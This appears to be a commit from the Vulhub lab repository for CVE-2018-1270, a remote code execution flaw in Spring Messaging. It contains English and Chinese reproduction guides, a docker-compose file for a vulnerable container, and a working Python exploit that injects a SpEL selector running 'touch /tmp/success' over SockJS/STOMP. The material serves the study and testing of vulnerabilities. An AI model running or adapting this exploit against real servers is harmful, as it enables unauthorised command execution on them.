first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
spring/CVE-2018-1270/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

BIN
spring/CVE-2018-1270/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

View File

@@ -0,0 +1,52 @@
# Spring Messaging Remote Code Execution (CVE-2018-1270)
[中文版本(Chinese version)](README.zh-cn.md)
Spring Messaging provides messaging support for the Spring framework, with STOMP as its upper-layer protocol and SockJS as its underlying communication layer.
In Spring Messaging, clients are allowed to subscribe to messages and filter them using selectors. These selectors are written in SpEL (Spring Expression Language) and parsed using `StandardEvaluationContext`, which leads to a remote code execution vulnerability.
Reference links:
- https://pivotal.io/security/cve-2018-1270
- https://xz.aliyun.com/t/2252
- https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12
- https://github.com/CaledoniaProject/CVE-2018-1270
## Vulnerability Environment
Execute the following command to start a vulnerable Web application based on Spring Messaging 5.0.4:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080` to see a web page.
## Vulnerability Reproduce
While many articles state that Spring Messaging is based on WebSocket communication, this is not entirely accurate. Spring Messaging is based on SockJS (which can be understood as a communication protocol), and SockJS adapts to different browsers: modern browsers use WebSocket communication, while older browsers use AJAX communication.
The process of connecting to the backend server can be understood as:
1. Using the [STOMP protocol](http://jmesnil.net/stomp-websocket/doc/) to combine data into a text stream
2. Using the [SockJS protocol](https://github.com/sockjs/sockjs-client) to send the text stream, where SockJS chooses an appropriate channel (WebSocket or XHR/HTTP) to communicate with the backend
Therefore, we can use HTTP to reproduce the vulnerability, which we call a "downgrade attack".
I have written a simple POC script [exploit.py](exploit.py) (requires Python 3.6 or higher to execute). Since this vulnerability involves inserting a SpEL expression during subscription, and it is only triggered when a message is sent to this subscription, we need to specify the following information:
1. Base URL, which in Vulhub is `http://your-ip:8080/gs-guide-websocket`
2. The SpEL expression to execute, such as `T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`
3. A subscription address, which in Vulhub is: `/topic/greetings`
4. How to trigger this subscription, i.e., how to make the backend send a message to this subscription. In Vulhub, we send a JSON containing a name to `/app/hello` to trigger this event. Of course, this would be different in real-world scenarios, so this POC is not universally applicable.
Modify the POC according to your needs. If you're using the Vulhub environment, you only need to modify the URL in step 1.
Execute:
![](1.png)
Enter the container with `docker compose exec spring bash`, and you can see that `/tmp/success` has been successfully created:
![](2.png)

View File

@@ -0,0 +1,50 @@
# Spring Messaging 远程命令执行漏洞CVE-2018-1270
spring messaging为spring框架提供消息支持其上层协议是STOMP底层通信基于SockJS
在spring messaging中其允许客户端订阅消息并使用selector过滤消息。selector用SpEL表达式编写并使用`StandardEvaluationContext`解析,造成命令执行漏洞。
参考链接:
- https://pivotal.io/security/cve-2018-1270
- https://xz.aliyun.com/t/2252
- https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12
- https://github.com/CaledoniaProject/CVE-2018-1270
## 漏洞环境
执行如下命令启动一个基于Spring Messaging 5.0.4的Web应用
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到一个Web页面。
## 漏洞复现
网上大部分文章都说spring messaging是基于websocket通信其实不然。spring messaging是基于sockjs可以理解为一个通信协议而sockjs适配多种浏览器现代浏览器中使用websocket通信老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为:
1. 用[STOMP协议](http://jmesnil.net/stomp-websocket/doc/)将数据组合成一个文本流
2. 用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流sockjs会选择一个合适的通道websocket或xhr(http),与后端通信
所以我们可以使用http来复现漏洞称之为"降维打击"。
我编写了一个简单的POC脚本[exploit.py](exploit.py)需要用python3.6执行因为该漏洞是订阅的时候插入SpEL表达式而对方向这个订阅发送消息时才会触发所以我们需要指定的信息有
1. 基础地址在vulhub中为`http://your-ip:8080/gs-guide-websocket`
2. 待执行的SpEL表达式`T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`
3. 某一个订阅的地址如vulhub中为`/topic/greetings`
4. 如何触发这个订阅即如何让后端向这个订阅发送消息。在vulhub中我们向`/app/hello`发送一个包含name的json即可触发这个事件。当然在实战中就不同了所以这个poc并不具有通用性。
根据你自己的需求修改POC。如果是vulhub环境你只需修改1中的url即可。
执行:
![](1.png)
进入容器`docker compose exec spring bash`,可见`/tmp/success`已成功创建:
![](2.png)

View File

@@ -0,0 +1,5 @@
services:
spring:
image: vulhub/spring-messaging:5.0.4
ports:
- "8080:8080"

View File

@@ -0,0 +1,74 @@
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)